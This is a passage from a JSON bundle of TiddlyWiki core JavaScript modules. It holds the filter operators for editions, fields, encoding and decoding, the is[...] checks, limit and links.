"text": "/*\\\ntitle: $:/core/modules/filters/editions.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the available editions in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.editions = function(source,operator,options) {\n\tvar results = [],\n\t\teditionInfo = $tw.utils.getEditionInfo();\n\tif(editionInfo) {\n\t\t$tw.utils.each(editionInfo,function(info,name) {\n\t\t\tresults.push(name);\n\t\t});\n\t}\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/else.js": {
"title": "$:/core/modules/filters/else.js",
"text": "/*\\\ntitle: $:/core/modules/filters/else.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for replacing an empty input list with a constant, passing a non-empty input list straight through\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.else = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tif(results.length === 0) {\n\t\treturn [operator.operand];\n\t} else {\n\t\treturn results;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/decodeuricomponent.js": {
"title": "$:/core/modules/filters/decodeuricomponent.js",
"text": "/*\\\ntitle: $:/core/modules/filters/decodeuricomponent.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for applying decodeURIComponent() to each item.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter functions\n*/\n\nexports.decodeuricomponent = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar value = title;\n\t\ttry {\n\t\t\tvalue = decodeURIComponent(title);\n\t\t} catch(e) {\n\t\t}\n\t\tresults.push(value);\n\t});\n\treturn results;\n};\n\nexports.encodeuricomponent = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(encodeURIComponent(title));\n\t});\n\treturn results;\n};\n\nexports.decodeuri = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar value = title;\n\t\ttry {\n\t\t\tvalue = decodeURI(title);\n\t\t} catch(e) {\n\t\t}\n\t\tresults.push(value);\n\t});\n\treturn results;\n};\n\nexports.encodeuri = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(encodeURI(title));\n\t});\n\treturn results;\n};\n\nexports.decodehtml = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.htmlDecode(title));\n\t});\n\treturn results;\n};\n\nexports.encodehtml = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.htmlEncode(title));\n\t});\n\treturn results;\n};\n\nexports.stringify = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.stringify(title));\n\t});\n\treturn results;\n};\n\nexports.jsonstringify = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.jsonStringify(title));\n\t});\n\treturn results;\n};\n\nexports.escaperegexp = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.escapeRegExp(title));\n\t});\n\treturn results;\n};\n\nexports.escapecss = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t// escape any character with a special meaning in CSS using CSS.escape()\n\t\tresults.push(CSS.escape(title));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/enlist.js": {
"title": "$:/core/modules/filters/enlist.js",
"text": "/*\\\ntitle: $:/core/modules/filters/enlist.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning its operand parsed as a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.enlist = function(source,operator,options) {\n\tvar allowDuplicates = false;\n\tswitch(operator.suffix) {\n\t\tcase \"raw\":\n\t\t\tallowDuplicates = true;\n\t\t\tbreak;\n\t\tcase \"dedupe\":\n\t\t\tallowDuplicates = false;\n\t\t\tbreak;\n\t}\n\tvar list = $tw.utils.parseStringArray(operator.operand,allowDuplicates);\n\tif(operator.prefix === \"!\") {\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t\treturn results;\n\t} else {\n\t\treturn list;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/field.js": {
"title": "$:/core/modules/filters/field.js",
"text": "/*\\\ntitle: $:/core/modules/filters/field.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for comparing fields for equality\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.field = function(source,operator,options) {\n\tvar results = [],indexedResults,\n\t\tfieldname = (operator.suffix || operator.operator || \"title\").toLowerCase();\n\tif(operator.prefix === \"!\") {\n\t\tif(operator.regexp) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && !operator.regexp.exec(text)) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && text !== operator.operand) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tif(operator.regexp) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && !!operator.regexp.exec(text)) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tif(source.byField && operator.operand) {\n\t\t\t\tindexedResults = source.byField(fieldname,operator.operand);\n\t\t\t\tif(indexedResults) {\n\t\t\t\t\treturn indexedResults\n\t\t\t\t}\n\t\t\t}\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && text === operator.operand) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/fields.js": {
"title": "$:/core/modules/filters/fields.js",
"text": "/*\\\ntitle: $:/core/modules/filters/fields.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the fields on the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.fields = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldName,\n\t\tsuffixes = (operator.suffixes || [])[0] || [],\n\t\toperand = $tw.utils.parseStringArray(operator.operand);\n\t\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tif(suffixes.indexOf(\"include\") !== -1) {\n\t\t\t\tfor(fieldName in tiddler.fields) {\n\t\t\t\t\t(operand.indexOf(fieldName) !== -1) ? $tw.utils.pushTop(results,fieldName) : \"\";\n\t\t\t\t}\n\t\t\t} else if (suffixes.indexOf(\"exclude\") !== -1) {\n\t\t\t\tfor(fieldName in tiddler.fields) {\n\t\t\t\t\t(operand.indexOf(fieldName) !== -1) ? \"\" : $tw.utils.pushTop(results,fieldName);\n\t\t\t\t}\n\t\t\t} // else if\n\t\t\telse {\n\t\t\t\tfor(fieldName in tiddler.fields) {\n\t\t\t\t\t$tw.utils.pushTop(results,fieldName);\n\t\t\t\t}\n\t\t\t} // else\n\t\t} // if (tiddler)\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/get.js": {
"title": "$:/core/modules/filters/get.js",
"text": "/*\\\ntitle: $:/core/modules/filters/get.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for replacing tiddler titles by the value of the field specified in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.get = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tvar value = tiddler.getFieldString(operator.operand);\n\t\t\tif(value) {\n\t\t\t\tresults.push(value);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/getindex.js": {
"title": "$:/core/modules/filters/getindex.js",
"text": "/*\\\ntitle: $:/core/modules/filters/getindex.js\ntype: application/javascript\nmodule-type: filteroperator\n\nreturns the value at a given index of datatiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.getindex = function(source,operator,options) {\n\tvar data,title,results = [];\n\tif(operator.operand){\n\t\tsource(function(tiddler,title) {\n\t\t\ttitle = tiddler ? tiddler.fields.title : title;\n\t\t\tdata = options.wiki.extractTiddlerDataItem(tiddler,operator.operand);\n\t\t\tif(data) {\n\t\t\t\tresults.push(data);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/getvariable.js": {
"title": "$:/core/modules/filters/getvariable.js",
"text": "/*\\\ntitle: $:/core/modules/filters/getvariable.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for replacing input values by the value of the variable with the same name, or blank if the variable is missing\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.getvariable = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(options.widget.getVariable(title) || \"\");\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/has.js": {
"title": "$:/core/modules/filters/has.js",
"text": "/*\\\ntitle: $:/core/modules/filters/has.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a tiddler has the specified field or index\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.has = function(source,operator,options) {\n\tvar results = [],\n\t\tinvert = operator.prefix === \"!\";\n\n\tif(operator.suffix === \"field\") {\n\t\tif(invert) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(!tiddler || (tiddler && (!$tw.utils.hop(tiddler.fields,operator.operand)))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && $tw.utils.hop(tiddler.fields,operator.operand)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\telse if(operator.suffix === \"index\") {\n\t\tif(invert) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(!tiddler || (tiddler && (!$tw.utils.hop($tw.wiki.getTiddlerDataCached(tiddler,Object.create(null)),operator.operand)))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && $tw.utils.hop($tw.wiki.getTiddlerDataCached(tiddler,Object.create(null)),operator.operand)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\telse {\n\t\tif(invert) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(!tiddler || !$tw.utils.hop(tiddler.fields,operator.operand) || (tiddler.fields[operator.operand] === \"\")) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && $tw.utils.hop(tiddler.fields,operator.operand) && !(tiddler.fields[operator.operand] === \"\" || tiddler.fields[operator.operand].length === 0)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\t\t\t\t\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/haschanged.js": {
"title": "$:/core/modules/filters/haschanged.js",
"text": "/*\\\ntitle: $:/core/modules/filters/haschanged.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returns tiddlers from the list that have a non-zero changecount.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.haschanged = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.getChangeCount(title) === 0) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.getChangeCount(title) > 0) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/indexes.js": {
"title": "$:/core/modules/filters/indexes.js",
"text": "/*\\\ntitle: $:/core/modules/filters/indexes.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the indexes of a data tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.indexes = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar data = options.wiki.getTiddlerDataCached(title);\n\t\tif(data) {\n\t\t\t$tw.utils.pushTop(results,Object.keys(data));\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/insertbefore.js": {
"title": "$:/core/modules/filters/insertbefore.js",
"text": "/*\\\ntitle: $:/core/modules/filters/insertbefore.js\ntype: application/javascript\nmodule-type: filteroperator\n\nInsert an item before another item in a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOrder a list\n*/\nexports.insertbefore = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar target = options.widget && options.widget.getVariable(operator.suffix || \"currentTiddler\");\n\tif(target !== operator.operand) {\n\t\t// Remove the entry from the list if it is present\n\t\tvar pos = results.indexOf(operator.operand);\n\t\tif(pos !== -1) {\n\t\t\tresults.splice(pos,1);\n\t\t}\n\t\t// Insert the entry before the target marker\n\t\tpos = results.indexOf(target);\n\t\tif(pos !== -1) {\n\t\t\tresults.splice(pos,0,operator.operand);\n\t\t} else {\n\t\t\tresults.push(operator.operand);\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/is/binary.js": {
"title": "$:/core/modules/filters/is/binary.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/binary.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[binary]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.binary = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isBinaryTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isBinaryTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/blank.js": {
"title": "$:/core/modules/filters/is/blank.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/blank.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[blank]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.blank = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!title) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/current.js": {
"title": "$:/core/modules/filters/is/current.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/current.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[current]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.current = function(source,prefix,options) {\n\tvar results = [],\n\t\tcurrTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\");\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title !== currTiddlerTitle) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title === currTiddlerTitle) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/image.js": {
"title": "$:/core/modules/filters/is/image.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/image.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[image]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.image = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isImageTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isImageTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/missing.js": {
"title": "$:/core/modules/filters/is/missing.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/missing.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[missing]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.missing = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/orphan.js": {
"title": "$:/core/modules/filters/is/orphan.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/orphan.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[orphan]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.orphan = function(source,prefix,options) {\n\tvar results = [],\n\t\torphanTitles = options.wiki.getOrphanTitles();\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(orphanTitles.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(orphanTitles.indexOf(title) !== -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/shadow.js": {
"title": "$:/core/modules/filters/is/shadow.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/shadow.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[shadow]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadow = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isShadowTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isShadowTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/system.js": {
"title": "$:/core/modules/filters/is/system.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/system.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[system]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.system = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isSystemTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isSystemTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/tag.js": {
"title": "$:/core/modules/filters/is/tag.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/tag.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[tag]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tag = function(source,prefix,options) {\n\tvar results = [],\n\t\ttagMap = options.wiki.getTagMap();\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!$tw.utils.hop(tagMap,title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif($tw.utils.hop(tagMap,title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/tiddler.js": {
"title": "$:/core/modules/filters/is/tiddler.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/tiddler.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[tiddler]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tiddler = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is/variable.js": {
"title": "$:/core/modules/filters/is/variable.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is/variable.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[variable]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.variable = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!(title in options.widget.variables)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title in options.widget.variables) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "isfilteroperator"
},
"$:/core/modules/filters/is.js": {
"title": "$:/core/modules/filters/is.js",
"text": "/*\\\ntitle: $:/core/modules/filters/is.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking tiddler properties\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar isFilterOperators;\n\nfunction getIsFilterOperators() {\n\tif(!isFilterOperators) {\n\t\tisFilterOperators = {};\n\t\t$tw.modules.applyMethods(\"isfilteroperator\",isFilterOperators);\n\t}\n\treturn isFilterOperators;\n}\n\n/*\nExport our filter function\n*/\nexports.is = function(source,operator,options) {\n\t// Dispatch to the correct isfilteroperator\n\tvar isFilterOperators = getIsFilterOperators();\n\tif(operator.operand) {\n\t\tvar isFilterOperator = isFilterOperators[operator.operand];\n\t\tif(isFilterOperator) {\n\t\t\treturn isFilterOperator(source,operator.prefix,options);\n\t\t} else {\n\t\t\treturn [$tw.language.getString(\"Error/IsFilterOperator\")];\n\t\t}\n\t} else {\n\t\t// Return all tiddlers if the operand is missing\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t\treturn results;\n\t}\n};\n\n})();",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/limit.js": {
"title": "$:/core/modules/filters/limit.js",
"text": "/*\\\ntitle: $:/core/modules/filters/limit.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for chopping the results to a specified maximum number of entries\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.limit = function(source,operator,options) {\n\tvar results = [];\n\t// Convert to an array\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\t// Slice the array if necessary\n\tvar limit = Math.min(results.length,parseInt(operator.operand,10));\n\tif(operator.prefix === \"!\") {\n\t\tresults = results.slice(-limit);\n\t} else {\n\t\tresults = results.slice(0,limit);\n\t}\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/links.js": {
"title": "$:/core/modules/filters/links.js",
"text": "/*\\\ntitle: $:/core/modules/filters/links.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning all the links from a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.links = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlerLinks(title));\n\t});\n\treturn results;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "filteroperator"
},
"$:/core/modules/filters/list.js": {
"title": "$:/core/modules/filters/list.js",
